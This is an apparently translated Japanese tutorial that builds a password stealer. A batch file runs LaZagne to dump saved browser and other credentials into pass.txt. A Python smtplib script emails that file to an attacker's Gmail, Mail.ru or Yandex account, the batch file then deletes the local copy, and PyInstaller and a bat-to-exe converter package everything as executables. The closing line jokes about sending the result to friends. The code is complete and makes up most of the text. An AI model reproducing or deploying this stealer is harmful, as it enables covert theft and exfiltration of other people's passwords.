電子メールでのPython Stiller

どうする?



こんにちは、今日の読者は、未知のソースからダウンロードした未検証のファイルを開いて、PCで何ができるかを理解するためにそのようなファイルを作成する必要がない理由についてお話します。 すべてのパスワードを収集してメールで送信するスタイラーを作成します。







これには何が必要ですか?



必要なもの:







  1. Python 3.xx
  2. パスワード回復ツール(この例ではLaZagne
  3. 2つのGoogleアカウント


そして始めます



まず、LaZagneツールの.exeファイルをプロジェクトのフォルダーに配置します。 次に、任意の名前の.batファイル(main.batを取得します)とsend.pyファイルを作成します。







この構造を取得する必要があります。







プロジェクト:









コードを書く



main.batファイルを開き、そこにコードを配置します。







@Echo off laZagne.exe all > pass.txt
      
      





これで、.batファイルを実行すると、pass.txtファイルが作成されます。このファイルには、ブラウザーからのすべてのパスワードが含まれます(ブラウザーだけでなく)。 データをメールに送信するためだけに残ります。 しかし、それを行う方法は?







メールで送る


send.pyファイルを開き、コードを貼り付けます。







 import smtplib import os import mimetypes from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.audio import MIMEAudio from email.mime.multipart import MIMEMultipart def send_email(addr_from, password, addr_to, files): msg_subj = 'Password' msg_text = 'Password' msg = MIMEMultipart() msg['From'] = addr_from msg['To'] = addr_to msg['Subject'] = msg_subj body = msg_text msg.attach(MIMEText(body, 'plain')) process_attachement(msg, files) #==========   ========== server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit() #============================================ def process_attachement(msg, files): for f in files: if os.path.isfile(f): attach_file(msg,f) elif os.path.exists(f): dir = os.listdir(f) for file in dir: attach_file(msg,f+"/"+file) def attach_file(msg, filepath): filename = os.path.basename(filepath) ctype, encoding = mimetypes.guess_type(filepath) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) if maintype == 'text': with open(filepath) as fp: file = MIMEText(fp.read(), _subtype=subtype) fp.close() elif maintype == 'image': with open(filepath, 'rb') as fp: file = MIMEImage(fp.read(), _subtype=subtype) fp.close() elif maintype == 'audio': with open(filepath, 'rb') as fp: file = MIMEAudio(fp.read(), _subtype=subtype) fp.close() else: with open(filepath, 'rb') as fp: file = MIMEBase(maintype, subtype) file.set_payload(fp.read()) fp.close() encoders.encode_base64(file) file.add_header('Content-Disposition', 'attachment', filename=filename) msg.attach(file) #====================================== _from = "from@gmail.com" _password = "password" _to = "to@gmail.com" files = ["pass.txt"] #============================================= send_email(_from, _password, _to, files)
      
      





次に、メールを送信するサービスに応じて、設定する必要があります。選択したコードを変更します:Google(最初に、安全性の低いアプリケーションへのアクセスを許可する必要があります ):







 server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(addr_from, password) server.send_message(msg) server.quit()
      
      





Mail.ru:







 server = smtplib.SMTP_SSL('smtp.mail.ru', 25) server.login(addr_from, password) server.send_message(msg) server.quit()
      
      





ヤンデックス:







 server = smtplib.SMTP_SSL('smtp.yandex.ru', 465) server.login(addr_from, password) server.send_message(msg) server.quit()
      
      





.batを終了


.batファイルに、send.pyファイルの起動コードとpass.txtファイルの削除を追加します。







 send.py del /s "pass.txt"
      
      





組立



これで、main.batを実行した後、パスワードがメールに送信されますが、Pythonがインストールされていない場合は何も機能しません。send.pyファイルをexeに変換する必要があります。 これを行うには、コンソールを開いて次のように記述します。







 pip install pyinstaller pyinstaller --onefile send.py
      
      





それでも、main.batファイルをmain.exeに変換する必要があります。BatTo Exe Converterはこれを支援します。 3つのドット(「...」)が付いたボタンをクリックして、main.batファイルを探し、「開く」をクリックしてから、「変換」をクリックしてファイルmain.exeを取得します。 これらの3つのファイルはスタイラーです。 友達に送って楽しむ パフォーマンスを確認してください。







参照資料






All Articles